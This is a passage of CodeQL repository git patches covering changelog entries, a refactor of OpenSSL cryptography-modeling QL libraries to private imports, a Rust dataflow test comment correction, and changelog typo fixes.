:code:`rb/server-side-template-injection` and the tag :code:`external/cwe/cwe-094` has been added. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed an infinite loop in :code:`semmle.code.cpp.rangeanalysis.new.RangeAnalysis` when computing ranges in very large and complex function bodies. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +JavaScript/TypeScript +""""""""""""""""""""" + +* Enhanced modeling of the `fastify `__ framework to support the :code:`all` route handler method. +* Improved modeling of the |link-code-shelljs-1|_ and |link-code-async-shelljs-2|_ libraries by adding support for the :code:`which`, :code:`cmd`, :code:`asyncExec` and :code:`env`. +* Added support for the :code:`fastify` :code:`addHook` method. + +Python +"""""" + +* Added modeling for the :code:`hdbcli` PyPI package as a database library implementing PEP 249. +* Added header write model for :code:`send_header` in :code:`http.server`. + +New Features +~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* Kotlin versions up to 2.2.0\ *x* are now supported. Support for the Kotlin 1.5.x series is dropped (so the minimum Kotlin version is now 1.6.0). + +Swift +""""" + +* Added AST nodes :code:`UnsafeCastExpr`, :code:`TypeValueExpr`, :code:`IntegerType`, and :code:`BuiltinFixedArrayType` that correspond to new nodes added by Swift 6.1. + +.. |link-code-shelljs-1| replace:: :code:`shelljs`\ +.. _link-code-shelljs-1: https://www.npmjs.com/package/shelljs + +.. |link-code-async-shelljs-2| replace:: :code:`async-shelljs`\ +.. _link-code-async-shelljs-2: https://www.npmjs.com/package/async-shelljs + diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 92781448af86..2d2fd483aed1 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,7 @@ A list of queries for each suite and language `is available here Date: Mon, 19 May 2025 15:44:15 -0400 Subject: [PATCH 216/535] Switching to private imports. --- .../OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll | 7 ++++--- .../BlockAlgorithmInstance.qll | 11 ++++++----- .../CipherAlgorithmInstance.qll | 17 +++++++++-------- .../EllipticCurveAlgorithmInstance.qll | 12 +++++++----- .../HashAlgorithmInstance.qll | 9 +++++---- .../KnownAlgorithmConstants.qll | 2 +- .../OpenSSLAlgorithmInstanceBase.qll | 4 ++-- .../PaddingAlgorithmInstance.qll | 11 ++++++----- .../CipherAlgorithmValueConsumer.qll | 10 +++++----- .../DirectAlgorithmValueConsumer.qll | 6 +++--- .../EllipticCurveAlgorithmValueConsumer.qll | 9 +++++---- .../HashAlgorithmValueConsumer.qll | 13 +++++-------- .../OpenSSLAlgorithmValueConsumerBase.qll | 4 ++-- .../PaddingAlgorithmValueConsumer.qll | 10 +++++----- .../OpenSSL/Operations/EVPCipherInitializer.qll | 4 ++-- .../OpenSSL/Operations/EVPCipherOperation.qll | 10 +++++----- .../OpenSSL/Operations/EVPHashOperation.qll | 12 ++++++------ .../OpenSSL/Operations/OpenSSLOperationBase.qll | 2 +- 18 files changed, 79 insertions(+), 74 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll index 72c3ffcfad44..045e3649e410 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll @@ -1,7 +1,8 @@ import cpp -import semmle.code.cpp.dataflow.new.DataFlow -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers /** * Traces 'known algorithms' to AVCs, specifically diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll index 2566c1188a6c..299d8c886940 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll @@ -1,9 +1,10 @@ import cpp -import experimental.quantum.Language -import OpenSSLAlgorithmInstanceBase -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer -import AlgToAVCFlow +private import experimental.quantum.Language +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import AlgToAVCFlow /** * Given a `KnownOpenSSLBlockModeAlgorithmConstant`, converts this to a block family type. diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll index 7483572848eb..d76265e1c70e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll @@ -1,12 +1,13 @@ import cpp -import experimental.quantum.Language -import KnownAlgorithmConstants -import Crypto::KeyOpAlg as KeyOpAlg -import OpenSSLAlgorithmInstanceBase -import PaddingAlgorithmInstance -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -import AlgToAVCFlow -import BlockAlgorithmInstance +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import Crypto::KeyOpAlg as KeyOpAlg +private import OpenSSLAlgorithmInstanceBase +private import PaddingAlgorithmInstance +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import AlgToAVCFlow +private import BlockAlgorithmInstance /** * Given a `KnownOpenSSLCipherAlgorithmConstant`, converts this to a cipher family type. diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll index c5eac8afc897..d80529dd1c63 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -1,8 +1,10 @@ import cpp -import experimental.quantum.Language -import KnownAlgorithmConstants -import OpenSSLAlgorithmInstanceBase -import AlgToAVCFlow +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import AlgToAVCFlow class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, Crypto::EllipticCurveInstance instanceof KnownOpenSSLEllipticCurveAlgorithmConstant @@ -17,7 +19,7 @@ class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorith this instanceof Literal and exists(DataFlow::Node src, DataFlow::Node sink | // Sink is an argument to a CipherGetterCall - sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and + sink = getterCall.getInputNode() and // Source is `this` src.asExpr() = this and // This traces to a getter diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll index 985e36dbdd71..6cd9faab7df4 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll @@ -1,8 +1,9 @@ import cpp -import experimental.quantum.Language -import KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -import AlgToAVCFlow +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import AlgToAVCFlow predicate knownOpenSSLConstantToHashFamilyType( KnownOpenSSLHashAlgorithmConstant e, Crypto::THashType type diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index c4c537a34abc..5e7e16b13dc6 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,5 @@ import cpp -import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.LibraryDetector predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll index dc49c139cf05..b05ee9180b9b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll @@ -1,5 +1,5 @@ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase abstract class OpenSSLAlgorithmInstance extends Crypto::AlgorithmInstance { abstract OpenSSLAlgorithmValueConsumer getAVC(); diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll index 4fb4d0818697..2979f1c303fb 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll @@ -1,9 +1,10 @@ import cpp -import experimental.quantum.Language -import OpenSSLAlgorithmInstanceBase -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import AlgToAVCFlow -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.Language +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import AlgToAVCFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase /** * Given a `KnownOpenSSLPaddingAlgorithmConstant`, converts this to a padding family type. diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll index 8fa65860b60c..00fc4d735a5c 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll @@ -1,9 +1,9 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.LibraryDetector -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase -import OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import OpenSSLAlgorithmValueConsumerBase abstract class CipherAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll index ffc9a7c3991e..f710ff613c2a 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll @@ -1,7 +1,7 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase // TODO: can self referential to itself, which is also an algorithm (Known algorithm) /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll index aa08d4ea50e9..79aada45bd98 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll @@ -1,8 +1,9 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances abstract class EllipticCurveValueConsumer extends OpenSSLAlgorithmValueConsumer { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index b041b986754c..a1c0a214b9af 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -1,12 +1,9 @@ -// import EVPHashInitializer -// import EVPHashOperation -// import EVPHashAlgorithmSource import cpp -import experimental.quantum.Language -import semmle.code.cpp.dataflow.new.DataFlow -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances -import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances +private import experimental.quantum.OpenSSL.LibraryDetector abstract class HashAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll index 3f6e2bd4dc89..200b08849f51 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll @@ -1,5 +1,5 @@ -import experimental.quantum.Language -import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow abstract class OpenSSLAlgorithmValueConsumer extends Crypto::AlgorithmValueConsumer instanceof Call { /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll index 3f7ce20d6b3a..bb33ad653817 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll @@ -1,9 +1,9 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.LibraryDetector -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase -import OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import OpenSSLAlgorithmValueConsumerBase abstract class PaddingAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll index 3e8607ef8ecb..353a89645ec0 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll @@ -3,8 +3,8 @@ * Models cipher initialization for EVP cipher operations. */ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow module EncValToInitEncArgConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index f22bcae69275..736da3ca2078 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -1,8 +1,8 @@ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow -import EVPCipherInitializer -import OpenSSLOperationBase -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import EVPCipherInitializer +private import OpenSSLOperationBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index a187b62a7bdd..94de9e1cb427 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -2,12 +2,12 @@ * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis */ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow -import experimental.quantum.OpenSSL.LibraryDetector -import OpenSSLOperationBase -import EVPHashInitializer -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.OpenSSL.LibraryDetector +private import OpenSSLOperationBase +private import EVPHashInitializer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers // import EVPHashConsumers abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 4798f5650a9b..f9753e92c5d2 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -1,4 +1,4 @@ -import experimental.quantum.Language +private import experimental.quantum.Language abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { abstract Expr getInputArg(); From 94b57ac9a984f22f2994451ce4a3ff216088ec35 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 19 May 2025 21:49:02 +0100 Subject: [PATCH 217/535] Update rust/ql/test/library-tests/dataflow/modeled/main.rs Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- rust/ql/test/library-tests/dataflow/modeled/main.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index 440f3bfd7eec..b30443366690 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -128,7 +128,7 @@ fn test_pin() { let mut ms = MyStruct { val: source(42) }; let mut pin5 = Pin::new_unchecked(&ms); sink(pin5.val); // $ MISSING: hasValueFlow=42 - sink(Pin::into_inner_unchecked(pin5).val); // $ MISSING: hasValueFlow=40 + sink(Pin::into_inner_unchecked(pin5).val); // $ MISSING: hasValueFlow=42 } { From 3bd2f85a8e87b404388482dac35efdc00ade9764 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 16:33:45 -0500 Subject: [PATCH 218/535] Fixing some upstream typos etc --- .../codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst | 2 +- .../codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst | 2 +- .../codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst | 2 +- java/ql/lib/CHANGELOG.md | 2 +- swift/ql/lib/CHANGELOG.md | 2 +- swift/ql/lib/change-notes/released/4.2.0.md | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst index 9235d63fe2cf..754b6d2c4dad 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst @@ -79,4 +79,4 @@ JavaScript/TypeScript * Added taint-steps for :code:`Array.prototype.toReversed`. * Added taint-steps for :code:`Array.prototype.toSorted`. * Added support for :code:`String.prototype.matchAll`. -* Added taint-steps for :code:`Array.prototype.reverse`\ +* Added taint-steps for :code:`Array.prototype.reverse`. diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst index f48e372f277e..b6396b2be4e2 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst @@ -165,7 +165,7 @@ Java/Kotlin """"""""""" * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to :code:`java.lang.String.matches`, :code:`java.lang.String.replace`, and :code:`java.lang.String.replaceAll` that make sure '/', '', '..' are not in the path. +* Added a path injection sanitizer for calls to :code:`java.lang.String.matches`, :code:`java.lang.String.replace`, and :code:`java.lang.String.replaceAll` that make sure :code:`/`, :code:`\\`, :code:`..` are not in the path. JavaScript/TypeScript """"""""""""""""""""" diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst index 8d9c20cfbb5c..636cf2fe63d5 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst @@ -108,7 +108,7 @@ Swift """"" * Added AST nodes :code:`ActorIsolationErasureExpr`, :code:`CurrentContextIsolationExpr`, - :code:`ExtracFunctionIsolationExpr` and :code:`UnreachableExpr` that correspond to new nodes added by Swift 6.0. + :code:`ExtractFunctionIsolationExpr` and :code:`UnreachableExpr` that correspond to new nodes added by Swift 6.0. New Features ~~~~~~~~~~~~ diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 01832478c5b4..fff0ac11496b 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -20,7 +20,7 @@ No user-facing changes. ### Minor Analysis Improvements * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure `/`, `\\`, `..` are not in the path. ### Bug Fixes diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 36f0bc8e5fd5..1c9326d76e89 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -13,7 +13,7 @@ ### Minor Analysis Improvements * Added AST nodes `ActorIsolationErasureExpr`, `CurrentContextIsolationExpr`, - `ExtracFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes + `ExtractFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes added by Swift 6.0. ## 4.1.4 diff --git a/swift/ql/lib/change-notes/released/4.2.0.md b/swift/ql/lib/change-notes/released/4.2.0.md index 734840c93183..935d4b5e8323 100644 --- a/swift/ql/lib/change-notes/released/4.2.0.md +++ b/swift/ql/lib/change-notes/released/4.2.0.md @@ -7,5 +7,5 @@ ### Minor Analysis Improvements * Added AST nodes `ActorIsolationErasureExpr`, `CurrentContextIsolationExpr`, - `ExtracFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes + `ExtractFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes added by Swift 6.0. From b9841dccfb8a5ee1bba8e8c43c4fd9a940b1c516 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 16:45:08 -0500 Subject: [PATCH 219/535] Fixing more upstream typos --- .../codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst | 2 +- java/ql/lib/change-notes/released/7.1.2.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst index b6396b2be4e2..aa604d702e75 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst @@ -207,5 +207,5 @@ JavaScript/TypeScript * Intersection :code:`&&` * Subtraction :code:`--` - * :code:`\q` quoted string + * :code:`\\q` quoted string diff --git a/java/ql/lib/change-notes/released/7.1.2.md b/java/ql/lib/change-notes/released/7.1.2.md index 